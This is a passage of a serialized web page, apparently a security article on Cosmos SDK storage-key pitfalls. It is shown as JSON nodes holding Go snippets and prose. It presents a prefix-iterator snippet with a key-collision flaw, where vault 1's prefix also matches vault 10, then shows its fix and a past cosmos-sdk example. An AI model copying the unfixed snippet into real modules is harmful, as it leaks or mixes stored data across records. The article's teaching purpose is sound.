i",{"type":25,"tag":216,"props":92406,"children":92407},{"style":6947},[92408],{"type":31,"value":80382},{"type":25,"tag":216,"props":92410,"children":92411},{"style":6941},[92412],{"type":31,"value":82607},{"type":25,"tag":216,"props":92414,"children":92415},{"style":6958},[92416],{"type":31,"value":179},{"type":25,"tag":216,"props":92418,"children":92419},{"style":7041},[92420],{"type":31,"value":92421},"KVStorePrefixIterator",{"type":25,"tag":216,"props":92423,"children":92424},{"style":6958},[92425],{"type":31,"value":7414},{"type":25,"tag":216,"props":92427,"children":92428},{"class":6916,"line":7210},[92429,92434],{"type":25,"tag":216,"props":92430,"children":92431},{"style":6941},[92432],{"type":31,"value":92433},"        kvStore",{"type":25,"tag":216,"props":92435,"children":92436},{"style":6958},[92437],{"type":31,"value":7459},{"type":25,"tag":216,"props":92439,"children":92440},{"class":6916,"line":7238},[92441,92446,92450,92454,92458,92463,92467,92472,92476,92480],{"type":25,"tag":216,"props":92442,"children":92443},{"style":6941},[92444],{"type":31,"value":92445},"        fmt",{"type":25,"tag":216,"props":92447,"children":92448},{"style":6958},[92449],{"type":31,"value":179},{"type":25,"tag":216,"props":92451,"children":92452},{"style":7041},[92453],{"type":31,"value":89188},{"type":25,"tag":216,"props":92455,"children":92456},{"style":6958},[92457],{"type":31,"value":1844},{"type":25,"tag":216,"props":92459,"children":92460},{"style":8199},[92461],{"type":31,"value":92462},"\"%s%d\"",{"type":25,"tag":216,"props":92464,"children":92465},{"style":6958},[92466],{"type":31,"value":7020},{"type":25,"tag":216,"props":92468,"children":92469},{"style":6941},[92470],{"type":31,"value":92471},"PositionMapPrefix",{"type":25,"tag":216,"props":92473,"children":92474},{"style":6958},[92475],{"type":31,"value":7020},{"type":25,"tag":216,"props":92477,"children":92478},{"style":6941},[92479],{"type":31,"value":92256},{"type":25,"tag":216,"props":92481,"children":92482},{"style":6958},[92483],{"type":31,"value":7101},{"type":25,"tag":216,"props":92485,"children":92486},{"class":6916,"line":7251},[92487],{"type":25,"tag":216,"props":92488,"children":92489},{"style":6958},[92490],{"type":31,"value":27870},{"type":25,"tag":216,"props":92492,"children":92493},{"class":6916,"line":7269},[92494,92498,92503,92507,92511,92516,92520,92524,92528,92533],{"type":25,"tag":216,"props":92495,"children":92496},{"style":6967},[92497],{"type":31,"value":6970},{"type":25,"tag":216,"props":92499,"children":92500},{"style":6958},[92501],{"type":31,"value":92502}," ; ",{"type":25,"tag":216,"props":92504,"children":92505},{"style":6941},[92506],{"type":31,"value":2283},{"type":25,"tag":216,"props":92508,"children":92509},{"style":6958},[92510],{"type":31,"value":179},{"type":25,"tag":216,"props":92512,"children":92513},{"style":7041},[92514],{"type":31,"value":92515},"Valid",{"type":25,"tag":216,"props":92517,"children":92518},{"style":6958},[92519],{"type":31,"value":32401},{"type":25,"tag":216,"props":92521,"children":92522},{"style":6941},[92523],{"type":31,"value":2283},{"type":25,"tag":216,"props":92525,"children":92526},{"style":6958},[92527],{"type":31,"value":179},{"type":25,"tag":216,"props":92529,"children":92530},{"style":7041},[92531],{"type":31,"value":92532},"Next",{"type":25,"tag":216,"props":92534,"children":92535},{"style":6958},[92536],{"type":31,"value":19688},{"type":25,"tag":216,"props":92538,"children":92539},{"class":6916,"line":7290},[92540,92545,92549,92554,92558,92562,92566,92570,92574,92579,92583,92588],{"type":25,"tag":216,"props":92541,"children":92542},{"style":6941},[92543],{"type":31,"value":92544},"        k",{"type":25,"tag":216,"props":92546,"children":92547},{"style":6947},[92548],{"type":31,"value":80382},{"type":25,"tag":216,"props":92550,"children":92551},{"style":6941},[92552],{"type":31,"value":92553}," strings",{"type":25,"tag":216,"props":92555,"children":92556},{"style":6958},[92557],{"type":31,"value":179},{"type":25,"tag":216,"props":92559,"children":92560},{"style":7041},[92561],{"type":31,"value":74006},{"type":25,"tag":216,"props":92563,"children":92564},{"style":6958},[92565],{"type":31,"value":1844},{"type":25,"tag":216,"props":92567,"children":92568},{"style":6941},[92569],{"type":31,"value":2283},{"type":25,"tag":216,"props":92571,"children":92572},{"style":6958},[92573],{"type":31,"value":179},{"type":25,"tag":216,"props":92575,"children":92576},{"style":7041},[92577],{"type":31,"value":92578},"Key",{"type":25,"tag":216,"props":92580,"children":92581},{"style":6958},[92582],{"type":31,"value":22328},{"type":25,"tag":216,"props":92584,"children":92585},{"style":6941},[92586],{"type":31,"value":92587},"Seperator",{"type":25,"tag":216,"props":92589,"children":92590},{"style":6958},[92591],{"type":31,"value":7101},{"type":25,"tag":216,"props":92593,"children":92594},{"class":6916,"line":7299},[92595],{"type":25,"tag":216,"props":92596,"children":92597},{"emptyLinePlaceholder":16},[92598],{"type":31,"value":7636},{"type":25,"tag":216,"props":92600,"children":92601},{"class":6916,"line":7551},[92602,92607,92611,92615,92620,92624,92628,92632,92636,92641,92645,92650,92654,92658],{"type":25,"tag":216,"props":92603,"children":92604},{"style":6941},[92605],{"type":31,"value":92606},"        username",{"type":25,"tag":216,"props":92608,"children":92609},{"style":6947},[92610],{"type":31,"value":80382},{"type":25,"tag":216,"props":92612,"children":92613},{"style":7041},[92614],{"type":31,"value":89529},{"type":25,"tag":216,"props":92616,"children":92617},{"style":6958},[92618],{"type":31,"value":92619},"([]",{"type":25,"tag":216,"props":92621,"children":92622},{"style":7369},[92623],{"type":31,"value":88730},{"type":25,"tag":216,"props":92625,"children":92626},{"style":6958},[92627],{"type":31,"value":7020},{"type":25,"tag":216,"props":92629,"children":92630},{"style":6941},[92631],{"type":31,"value":89602},{"type":25,"tag":216,"props":92633,"children":92634},{"style":6958},[92635],{"type":31,"value":179},{"type":25,"tag":216,"props":92637,"children":92638},{"style":7041},[92639],{"type":31,"value":92640},"DecodedLen",{"type":25,"tag":216,"props":92642,"children":92643},{"style":6958},[92644],{"type":31,"value":1844},{"type":25,"tag":216,"props":92646,"children":92647},{"style":6941},[92648],{"type":31,"value":92649},"k",{"type":25,"tag":216,"props":92651,"children":92652},{"style":6958},[92653],{"type":31,"value":7695},{"type":25,"tag":216,"props":92655,"children":92656},{"style":6983},[92657],{"type":31,"value":1876},{"type":25,"tag":216,"props":92659,"children":92660},{"style":6958},[92661],{"type":31,"value":92662},"]))\n",{"type":25,"tag":216,"props":92664,"children":92665},{"class":6916,"line":7568},[92666,92670,92674,92678,92682,92687,92691,92696,92700,92704,92708,92712,92716,92720],{"type":25,"tag":216,"props":92667,"children":92668},{"style":6941},[92669],{"type":31,"value":31700},{"type":25,"tag":216,"props":92671,"children":92672},{"style":6958},[92673],{"type":31,"value":7020},{"type":25,"tag":216,"props":92675,"children":92676},{"style":6941},[92677],{"type":31,"value":52383},{"type":25,"tag":216,"props":92679,"children":92680},{"style":6947},[92681],{"type":31,"value":80382},{"type":25,"tag":216,"props":92683,"children":92684},{"style":6941},[92685],{"type":31,"value":92686}," hex",{"type":25,"tag":216,"props":92688,"children":92689},{"style":6958},[92690],{"type":31,"value":179},{"type":25,"tag":216,"props":92692,"children":92693},{"style":7041},[92694],{"type":31,"value":92695},"Decode",{"type":25,"tag":216,"props":92697,"children":92698},{"style":6958},[92699],{"type":31,"value":1844},{"type":25,"tag":216,"props":92701,"children":92702},{"style":6941},[92703],{"type":31,"value":89436},{"type":25,"tag":216,"props":92705,"children":92706},{"style":6958},[92707],{"type":31,"value":7020},{"type":25,"tag":216,"props":92709,"children":92710},{"style":6941},[92711],{"type":31,"value":92649},{"type":25,"tag":216,"props":92713,"children":92714},{"style":6958},[92715],{"type":31,"value":7695},{"type":25,"tag":216,"props":92717,"children":92718},{"style":6983},[92719],{"type":31,"value":1876},{"type":25,"tag":216,"props":92721,"children":92722},{"style":6958},[92723],{"type":31,"value":59403},{"type":25,"tag":216,"props":92725,"children":92726},{"class":6916,"line":7585},[92727,92731,92735,92739,92743],{"type":25,"tag":216,"props":92728,"children":92729},{"style":6967},[92730],{"type":31,"value":7216},{"type":25,"tag":216,"props":92732,"children":92733},{"style":6941},[92734],{"type":31,"value":52484},{"type":25,"tag":216,"props":92736,"children":92737},{"style":6947},[92738],{"type":31,"value":68349},{"type":25,"tag":216,"props":92740,"children":92741},{"style":6930},[92742],{"type":31,"value":85884},{"type":25,"tag":216,"props":92744,"children":92745},{"style":6958},[92746],{"type":31,"value":7235},{"type":25,"tag":216,"props":92748,"children":92749},{"class":6916,"line":7598},[92750,92754,92758,92762],{"type":25,"tag":216,"props":92751,"children":92752},{"style":6967},[92753],{"type":31,"value":83042},{"type":25,"tag":216,"props":92755,"children":92756},{"style":6930},[92757],{"type":31,"value":85884},{"type":25,"tag":216,"props":92759,"children":92760},{"style":6958},[92761],{"type":31,"value":7020},{"type":25,"tag":216,"props":92763,"children":92764},{"style":6941},[92765],{"type":31,"value":87605},{"type":25,"tag":216,"props":92767,"children":92768},{"class":6916,"line":7607},[92769],{"type":25,"tag":216,"props":92770,"children":92771},{"style":6958},[92772],{"type":31,"value":7296},{"type":25,"tag":216,"props":92774,"children":92775},{"class":6916,"line":7630},[92776],{"type":25,"tag":216,"props":92777,"children":92778},{"emptyLinePlaceholder":16},[92779],{"type":31,"value":7636},{"type":25,"tag":216,"props":92781,"children":92782},{"class":6916,"line":7639},[92783,92788,92792,92796,92800,92804,92808,92812,92816,92820,92824,92828,92832,92836],{"type":25,"tag":216,"props":92784,"children":92785},{"style":6941},[92786],{"type":31,"value":92787},"        positionName",{"type":25,"tag":216,"props":92789,"children":92790},{"style":6947},[92791],{"type":31,"value":80382},{"type":25,"tag":216,"props":92793,"children":92794},{"style":7041},[92795],{"type":31,"value":89529},{"type":25,"tag":216,"props":92797,"children":92798},{"style":6958},[92799],{"type":31,"value":92619},{"type":25,"tag":216,"props":92801,"children":92802},{"style":7369},[92803],{"type":31,"value":88730},{"type":25,"tag":216,"props":92805,"children":92806},{"style":6958},[92807],{"type":31,"value":7020},{"type":25,"tag":216,"props":92809,"children":92810},{"style":6941},[92811],{"type":31,"value":89602},{"type":25,"tag":216,"props":92813,"children":92814},{"style":6958},[92815],{"type":31,"value":179},{"type":25,"tag":216,"props":92817,"children":92818},{"style":7041},[92819],{"type":31,"value":92640},{"type":25,"tag":216,"props":92821,"children":92822},{"style":6958},[92823],{"type":31,"value":1844},{"type":25,"tag":216,"props":92825,"children":92826},{"style":6941},[92827],{"type":31,"value":92649},{"type":25,"tag":216,"props":92829,"children":92830},{"style":6958},[92831],{"type":31,"value":7695},{"type":25,"tag":216,"props":92833,"children":92834},{"style":6983},[92835],{"type":31,"value":184},{"type":25,"tag":216,"props":92837,"children":92838},{"style":6958},[92839],{"type":31,"value":92662},{"type":25,"tag":216,"props":92841,"children":92842},{"class":6916,"line":7648},[92843,92847,92851,92855,92859,92863,92867,92871,92875,92879,92883,92887,92891,92895],{"type":25,"tag":216,"props":92844,"children":92845},{"style":6941},[92846],{"type":31,"value":31700},{"type":25,"tag":216,"props":92848,"children":92849},{"style":6958},[92850],{"type":31,"value":7020},{"type":25,"tag":216,"props":92852,"children":92853},{"style":6941},[92854],{"type":31,"value":52383},{"type":25,"tag":216,"props":92856,"children":92857},{"style":6947},[92858],{"type":31,"value":80382},{"type":25,"tag":216,"props":92860,"children":92861},{"style":6941},[92862],{"type":31,"value":92686},{"type":25,"tag":216,"props":92864,"children":92865},{"style":6958},[92866],{"type":31,"value":179},{"type":25,"tag":216,"props":92868,"children":92869},{"style":7041},[92870],{"type":31,"value":92695},{"type":25,"tag":216,"props":92872,"children":92873},{"style":6958},[92874],{"type":31,"value":1844},{"type":25,"tag":216,"props":92876,"children":92877},{"style":6941},[92878],{"type":31,"value":89705},{"type":25,"tag":216,"props":92880,"children":92881},{"style":6958},[92882],{"type":31,"value":7020},{"type":25,"tag":216,"props":92884,"children":92885},{"style":6941},[92886],{"type":31,"value":92649},{"type":25,"tag":216,"props":92888,"children":92889},{"style":6958},[92890],{"type":31,"value":7695},{"type":25,"tag":216,"props":92892,"children":92893},{"style":6983},[92894],{"type":31,"value":184},{"type":25,"tag":216,"props":92896,"children":92897},{"style":6958},[92898],{"type":31,"value":59403},{"type":25,"tag":216,"props":92900,"children":92901},{"class":6916,"line":7716},[92902,92906,92910,92914,92918],{"type":25,"tag":216,"props":92903,"children":92904},{"style":6967},[92905],{"type":31,"value":7216},{"type":25,"tag":216,"props":92907,"children":92908},{"style":6941},[92909],{"type":31,"value":52484},{"type":25,"tag":216,"props":92911,"children":92912},{"style":6947},[92913],{"type":31,"value":68349},{"type":25,"tag":216,"props":92915,"children":92916},{"style":6930},[92917],{"type":31,"value":85884},{"type":25,"tag":216,"props":92919,"children":92920},{"style":6958},[92921],{"type":31,"value":7235},{"type":25,"tag":216,"props":92923,"children":92924},{"class":6916,"line":7724},[92925,92929,92933,92937],{"type":25,"tag":216,"props":92926,"children":92927},{"style":6967},[92928],{"type":31,"value":83042},{"type":25,"tag":216,"props":92930,"children":92931},{"style":6930},[92932],{"type":31,"value":85884},{"type":25,"tag":216,"props":92934,"children":92935},{"style":6958},[92936],{"type":31,"value":7020},{"type":25,"tag":216,"props":92938,"children":92939},{"style":6941},[92940],{"type":31,"value":87605},{"type":25,"tag":216,"props":92942,"children":92943},{"class":6916,"line":7754},[92944],{"type":25,"tag":216,"props":92945,"children":92946},{"style":6958},[92947],{"type":31,"value":7296},{"type":25,"tag":216,"props":92949,"children":92950},{"class":6916,"line":7762},[92951],{"type":25,"tag":216,"props":92952,"children":92953},{"emptyLinePlaceholder":16},[92954],{"type":31,"value":7636},{"type":25,"tag":216,"props":92956,"children":92957},{"class":6916,"line":7794},[92958,92962,92966,92970,92974,92978,92983,92987,92991,92996,93000,93004],{"type":25,"tag":216,"props":92959,"children":92960},{"style":6967},[92961],{"type":31,"value":7216},{"type":25,"tag":216,"props":92963,"children":92964},{"style":6941},[92965],{"type":31,"value":66604},{"type":25,"tag":216,"props":92967,"children":92968},{"style":6958},[92969],{"type":31,"value":7020},{"type":25,"tag":216,"props":92971,"children":92972},{"style":6941},[92973],{"type":31,"value":82733},{"type":25,"tag":216,"props":92975,"children":92976},{"style":6947},[92977],{"type":31,"value":80382},{"type":25,"tag":216,"props":92979,"children":92980},{"style":6941},[92981],{"type":31,"value":92982}," values",{"type":25,"tag":216,"props":92984,"children":92985},{"style":6958},[92986],{"type":31,"value":7695},{"type":25,"tag":216,"props":92988,"children":92989},{"style":6941},[92990],{"type":31,"value":89436},{"type":25,"tag":216,"props":92992,"children":92993},{"style":6958},[92994],{"type":31,"value":92995},"]; ",{"type":25,"tag":216,"props":92997,"children":92998},{"style":6947},[92999],{"type":31,"value":24575},{"type":25,"tag":216,"props":93001,"children":93002},{"style":6941},[93003],{"type":31,"value":82733},{"type":25,"tag":216,"props":93005,"children":93006},{"style":6958},[93007],{"type":31,"value":7235},{"type":25,"tag":216,"props":93009,"children":93010},{"class":6916,"line":7802},[93011,93016,93020,93024,93028,93032,93036,93040,93044,93048,93052],{"type":25,"tag":216,"props":93012,"children":93013},{"style":6941},[93014],{"type":31,"value":93015},"            values",{"type":25,"tag":216,"props":93017,"children":93018},{"style":6958},[93019],{"type":31,"value":7695},{"type":25,"tag":216,"props":93021,"children":93022},{"style":6941},[93023],{"type":31,"value":89436},{"type":25,"tag":216,"props":93025,"children":93026},{"style":6958},[93027],{"type":31,"value":12608},{"type":25,"tag":216,"props":93029,"children":93030},{"style":6947},[93031],{"type":31,"value":266},{"type":25,"tag":216,"props":93033,"children":93034},{"style":7041},[93035],{"type":31,"value":89529},{"type":25,"tag":216,"props":93037,"children":93038},{"style":6958},[93039],{"type":31,"value":1844},{"type":25,"tag":216,"props":93041,"children":93042},{"style":6930},[93043],{"type":31,"value":71065},{"type":25,"tag":216,"props":93045,"children":93046},{"style":6958},[93047],{"type":31,"value":7695},{"type":25,"tag":216,"props":93049,"children":93050},{"style":7369},[93051],{"type":31,"value":89134},{"type":25,"tag":216,"props":93053,"children":93054},{"style":6958},[93055],{"type":31,"value":59403},{"type":25,"tag":216,"props":93057,"children":93058},{"class":6916,"line":7862},[93059],{"type":25,"tag":216,"props":93060,"children":93061},{"style":6958},[93062],{"type":31,"value":7296},{"type":25,"tag":216,"props":93064,"children":93065},{"class":6916,"line":12995},[93066],{"type":25,"tag":216,"props":93067,"children":93068},{"emptyLinePlaceholder":16},[93069],{"type":31,"value":7636},{"type":25,"tag":216,"props":93071,"children":93072},{"class":6916,"line":13013},[93073,93078,93082,93086,93090,93094,93098,93102,93106],{"type":25,"tag":216,"props":93074,"children":93075},{"style":6941},[93076],{"type":31,"value":93077},"        values",{"type":25,"tag":216,"props":93079,"children":93080},{"style":6958},[93081],{"type":31,"value":7695},{"type":25,"tag":216,"props":93083,"children":93084},{"style":6941},[93085],{"type":31,"value":89436},{"type":25,"tag":216,"props":93087,"children":93088},{"style":6958},[93089],{"type":31,"value":52921},{"type":25,"tag":216,"props":93091,"children":93092},{"style":6941},[93093],{"type":31,"value":89705},{"type":25,"tag":216,"props":93095,"children":93096},{"style":6958},[93097],{"type":31,"value":12608},{"type":25,"tag":216,"props":93099,"children":93100},{"style":6947},[93101],{"type":31,"value":266},{"type":25,"tag":216,"props":93103,"children":93104},{"style":6941},[93105],{"type":31,"value":11370},{"type":25,"tag":216,"props":93107,"children":93108},{"style":6958},[93109],{"type":31,"value":7235},{"type":25,"tag":216,"props":93111,"children":93112},{"class":6916,"line":13058},[93113,93117,93121,93126,93130,93135],{"type":25,"tag":216,"props":93114,"children":93115},{"style":6941},[93116],{"type":31,"value":30903},{"type":25,"tag":216,"props":93118,"children":93119},{"style":6958},[93120],{"type":31,"value":19282},{"type":25,"tag":216,"props":93122,"children":93123},{"style":6941},[93124],{"type":31,"value":93125},"iterator",{"type":25,"tag":216,"props":93127,"children":93128},{"style":6958},[93129],{"type":31,"value":179},{"type":25,"tag":216,"props":93131,"children":93132},{"style":7041},[93133],{"type":31,"value":93134},"Value",{"type":25,"tag":216,"props":93136,"children":93137},{"style":6958},[93138],{"type":31,"value":7442},{"type":25,"tag":216,"props":93140,"children":93141},{"class":6916,"line":13164},[93142],{"type":25,"tag":216,"props":93143,"children":93144},{"style":6958},[93145],{"type":31,"value":7296},{"type":25,"tag":216,"props":93147,"children":93148},{"class":6916,"line":27449},[93149],{"type":25,"tag":216,"props":93150,"children":93151},{"style":6958},[93152],{"type":31,"value":7305},{"type":25,"tag":216,"props":93154,"children":93155},{"class":6916,"line":27484},[93156,93160],{"type":25,"tag":216,"props":93157,"children":93158},{"style":6967},[93159],{"type":31,"value":20941},{"type":25,"tag":216,"props":93161,"children":93162},{"style":6941},[93163],{"type":31,"value":93164}," values\n",{"type":25,"tag":216,"props":93166,"children":93167},{"class":6916,"line":27492},[93168],{"type":25,"tag":216,"props":93169,"children":93170},{"style":6958},[93171],{"type":31,"value":7868},{"type":25,"tag":38,"props":93173,"children":93174},{},[93175,93177,93183,93184,93190,93192,93197,93199,93204,93206,93211,93213,93219,93221,93227],{"type":31,"value":93176},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":25,"tag":82,"props":93178,"children":93180},{"className":93179},[],[93181],{"type":31,"value":93182},"vaultId = 1",{"type":31,"value":1301},{"type":25,"tag":82,"props":93185,"children":93187},{"className":93186},[],[93188],{"type":31,"value":93189},"vaultId = 10",{"type":31,"value":93191}," coexist. If we try to fetch data under ",{"type":25,"tag":82,"props":93193,"children":93195},{"className":93194},[],[93196],{"type":31,"value":93182},{"type":31,"value":93198},", all entries under ",{"type":25,"tag":82,"props":93200,"children":93202},{"className":93201},[],[93203],{"type":31,"value":93189},{"type":31,"value":93205}," will also be returned simply because ",{"type":25,"tag":82,"props":93207,"children":93209},{"className":93208},[],[93210],{"type":31,"value":184},{"type":31,"value":93212}," is a prefix of ",{"type":25,"tag":82,"props":93214,"children":93216},{"className":93215},[],[93217],{"type":31,"value":93218},"10",{"type":31,"value":93220},". To fix this, we must once again append the ",{"type":25,"tag":82,"props":93222,"children":93224},{"className":93223},[],[93225],{"type":31,"value":93226},"Separator",{"type":31,"value":93228}," to the iterator prefix.",{"type":25,"tag":206,"props":93230,"children":93232},{"code":93231,"language":80130,"meta":7,"className":80131,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[93233],{"type":25,"tag":82,"props":93234,"children":93235},{"__ignoreMap":7},[93236,93263,93275,93328],{"type":25,"tag":216,"props":93237,"children":93238},{"class":6916,"line":6917},[93239,93243,93247,93251,93255,93259],{"type":25,"tag":216,"props":93240,"children":93241},{"style":6941},[93242],{"type":31,"value":2283},{"type":25,"tag":216,"props":93244,"children":93245},{"style":6947},[93246],{"type":31,"value":80382},{"type":25,"tag":216,"props":93248,"children":93249},{"style":6941},[93250],{"type":31,"value":82607},{"type":25,"tag":216,"props":93252,"children":93253},{"style":6958},[93254],{"type":31,"value":179},{"type":25,"tag":216,"props":93256,"children":93257},{"style":7041},[93258],{"type":31,"value":92421},{"type":25,"tag":216,"props":93260,"children":93261},{"style":6958},[93262],{"type":31,"value":7414},{"type":25,"tag":216,"props":93264,"children":93265},{"class":6916,"line":6763},[93266,93271],{"type":25,"tag":216,"props":93267,"children":93268},{"style":6941},[93269],{"type":31,"value":93270},"    kvStore",{"type":25,"tag":216,"props":93272,"children":93273},{"style":6958},[93274],{"type":31,"value":7459},{"type":25,"tag":216,"props":93276,"children":93277},{"class":6916,"line":6772},[93278,93283,93287,93291,93295,93300,93304,93308,93312,93316,93320,93324],{"type":25,"tag":216,"props":93279,"children":93280},{"style":6941},[93281],{"type":31,"value":93282},"    fmt",{"type":25,"tag":216,"props":93284,"children":93285},{"style":6958},[93286],{"type":31,"value":179},{"type":25,"tag":216,"props":93288,"children":93289},{"style":7041},[93290],{"type":31,"value":89188},{"type":25,"tag":216,"props":93292,"children":93293},{"style":6958},[93294],{"type":31,"value":1844},{"type":25,"tag":216,"props":93296,"children":93297},{"style":8199},[93298],{"type":31,"value":93299},"\"%s%d%s\"",{"type":25,"tag":216,"props":93301,"children":93302},{"style":6958},[93303],{"type":31,"value":7020},{"type":25,"tag":216,"props":93305,"children":93306},{"style":6941},[93307],{"type":31,"value":92471},{"type":25,"tag":216,"props":93309,"children":93310},{"style":6958},[93311],{"type":31,"value":7020},{"type":25,"tag":216,"props":93313,"children":93314},{"style":6941},[93315],{"type":31,"value":92256},{"type":25,"tag":216,"props":93317,"children":93318},{"style":6958},[93319],{"type":31,"value":7020},{"type":25,"tag":216,"props":93321,"children":93322},{"style":6941},[93323],{"type":31,"value":92587},{"type":25,"tag":216,"props":93325,"children":93326},{"style":6958},[93327],{"type":31,"value":10682},{"type":25,"tag":216,"props":93329,"children":93330},{"class":6916,"line":6999},[93331],{"type":25,"tag":216,"props":93332,"children":93333},{"style":6958},[93334],{"type":31,"value":7101},{"type":25,"tag":38,"props":93336,"children":93337},{},[93338,93340,93345],{"type":31,"value":93339},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":25,"tag":82,"props":93341,"children":93343},{"className":93342},[],[93344],{"type":31,"value":88942},{"type":31,"value":93346}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":25,"tag":38,"props":93348,"children":93349},{},[93350],{"type":31,"value":93351},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":25,"tag":607,"props":93353,"children":93355},{"id":93354},"real-world-examples-5",[93356],{"type":31,"value":80655},{"type":25,"tag":38,"props":93358,"children":93359},{},[93360,93361,93366,93368,93375,93377,93383],{"type":31,"value":474},{"type":25,"tag":82,"props":93362,"children":93364},{"className":93363},[],[93365],{"type":31,"value":82428},{"type":31,"value":93367}," previously lacked protection against KVStore ",{"type":25,"tag":162,"props":93369,"children":93372},{"href":93370,"rel":93371},"https://github.com/cosmos/cosmos-sdk/pull/9363",[166],[93373],{"type":31,"value":93374},"key collisions",{"type":31,"value":93376},". This prior oversight allowed developers to unintentionally create two ",{"type":25,"tag":82,"props":93378,"children":93380},{"className":93379},[],[93381],{"type":31,"value":93382},"KVStores",{"type":31,"value":93384}," that were not independent of each other.",{"type":25,"tag":38,"props":93386,"children":93387},{},[93388],{"type":25,"tag":162,"props":93389,"children":93392},{"href":93390,"rel":93391},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[166],[93393],{"type":31,"value":80705},{"type":25,"tag":206,"props":93395,"children":93397},{"code":93396,"language":80130,"meta":7,"className":80131,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[93398],{"type":25,"tag":82,"props":93399,"children":93400},{"__ignoreMap":7},[93401,93463,93511,93547,93587,93594,93601,93613],{"type":25,"tag":216,"props":93402,"children":93403},{"class":6916,"line":6917},[93404,93408,93413,93417,93422,93426,93430,93434,93438,93442,93446,93450,93454,93459],{"type":25,"tag":216,"props":93405,"children":93406},{"style":6930},[93407],{"type":31,"value":80266},{"type":25,"tag":216,"props":93409,"children":93410},{"style":7041},[93411],{"type":31,"value":93412}," NewKVStoreKeys",{"type":25,"tag":216,"props":93414,"children":93415},{"style":6958},[93416],{"type":31,"value":1844},{"type":25,"tag":216,"props":93418,"children":93419},{"style":6941},[93420],{"type":31,"value":93421},"names",{"type":25,"tag":216,"props":93423,"children":93424},{"style":6947},[93425],{"type":31,"value":29251},{"type":25,"tag":216,"props":93427,"children":93428},{"style":7369},[93429],{"type":31,"value":33621},{"type":25,"tag":216,"props":93431,"children":93432},{"style":6958},[93433],{"type":31,"value":7030},{"type":25,"tag":216,"props":93435,"children":93436},{"style":6930},[93437],{"type":31,"value":71065},{"type":25,"tag":216,"props":93439,"children":93440},{"style":6958},[93441],{"type":31,"value":7695},{"type":25,"tag":216,"props":93443,"children":93444},{"style":7369},[93445],{"type":31,"value":33621},{"type":25,"tag":216,"props":93447,"children":93448},{"style":6958},[93449],{"type":31,"value":19362},{"type":25,"tag":216,"props":93451,"children":93452},{"style":6947},[93453],{"type":31,"value":8513},{"type":25,"tag":216,"props":93455,"children":93456},{"style":7369},[93457],{"type":31,"value":93458},"KVStoreKey",{"type":25,"tag":216,"props":93460,"children":93461},{"style":6958},[93462],{"type":31,"value":7235},{"type":25,"tag":216,"props":93464,"children":93465},{"class":6916,"line":6763},[93466,93471,93475,93479,93483,93487,93491,93495,93499,93503,93507],{"type":25,"tag":216,"props":93467,"children":93468},{"style":6941},[93469],{"type":31,"value":93470},"    keys",{"type":25,"tag":216,"props":93472,"children":93473},{"style":6947},[93474],{"type":31,"value":80382},{"type":25,"tag":216,"props":93476,"children":93477},{"style":7041},[93478],{"type":31,"value":89529},{"type":25,"tag":216,"props":93480,"children":93481},{"style":6958},[93482],{"type":31,"value":1844},{"type":25,"tag":216,"props":93484,"children":93485},{"style":6930},[93486],{"type":31,"value":71065},{"type":25,"tag":216,"props":93488,"children":93489},{"style":6958},[93490],{"type":31,"value":7695},{"type":25,"tag":216,"props":93492,"children":93493},{"style":7369},[93494],{"type":31,"value":33621},{"type":25,"tag":216,"props":93496,"children":93497},{"style":6958},[93498],{"type":31,"value":19362},{"type":25,"tag":216,"props":93500,"children":93501},{"style":6947},[93502],{"type":31,"value":8513},{"type":25,"tag":216,"props":93504,"children":93505},{"style":7369},[93506],{"type":31,"value":93458},{"type":25,"tag":216,"props":93508,"children":93509},{"style":6958},[93510],{"type":31,"value":7101},{"type":25,"tag":216,"props":93512,"children":93513},{"class":6916,"line":6772},[93514,93518,93522,93526,93530,93534,93538,93543],{"type":25,"tag":216,"props":93515,"children":93516},{"style":6967},[93517],{"type":31,"value":6970},{"type":25,"tag":216,"props":93519,"children":93520},{"style":6941},[93521],{"type":31,"value":6975},{"type":25,"tag":216,"props":93523,"children":93524},{"style":6958},[93525],{"type":31,"value":7020},{"type":25,"tag":216,"props":93527,"children":93528},{"style":6941},[93529],{"type":31,"value":52461},{"type":25,"tag":216,"props":93531,"children":93532},{"style":6947},[93533],{"type":31,"value":80382},{"type":25,"tag":216,"props":93535,"children":93536},{"style":6967},[93537],{"type":31,"value":81365},{"type":25,"tag":216,"props":93539,"children":93540},{"style":6941},[93541],{"type":31,"value":93542}," names",{"type":25,"tag":216,"props":93544,"children":93545},{"style":6958},[93546],{"type":31,"value":7235},{"type":25,"tag":216,"props":93548,"children":93549},{"class":6916,"line":6999},[93550,93554,93558,93562,93566,93570,93575,93579,93583],{"type":25,"tag":216,"props":93551,"children":93552},{"style":6941},[93553],{"type":31,"value":29283},{"type":25,"tag":216,"props":93555,"children":93556},{"style":6958},[93557],{"type":31,"value":7695},{"type":25,"tag":216,"props":93559,"children":93560},{"style":6941},[93561],{"type":31,"value":52461},{"type":25,"tag":216,"props":93563,"children":93564},{"style":6958},[93565],{"type":31,"value":12608},{"type":25,"tag":216,"props":93567,"children":93568},{"style":6947},[93569],{"type":31,"value":266},{"type":25,"tag":216,"props":93571,"children":93572},{"style":7041},[93573],{"type":31,"value":93574}," 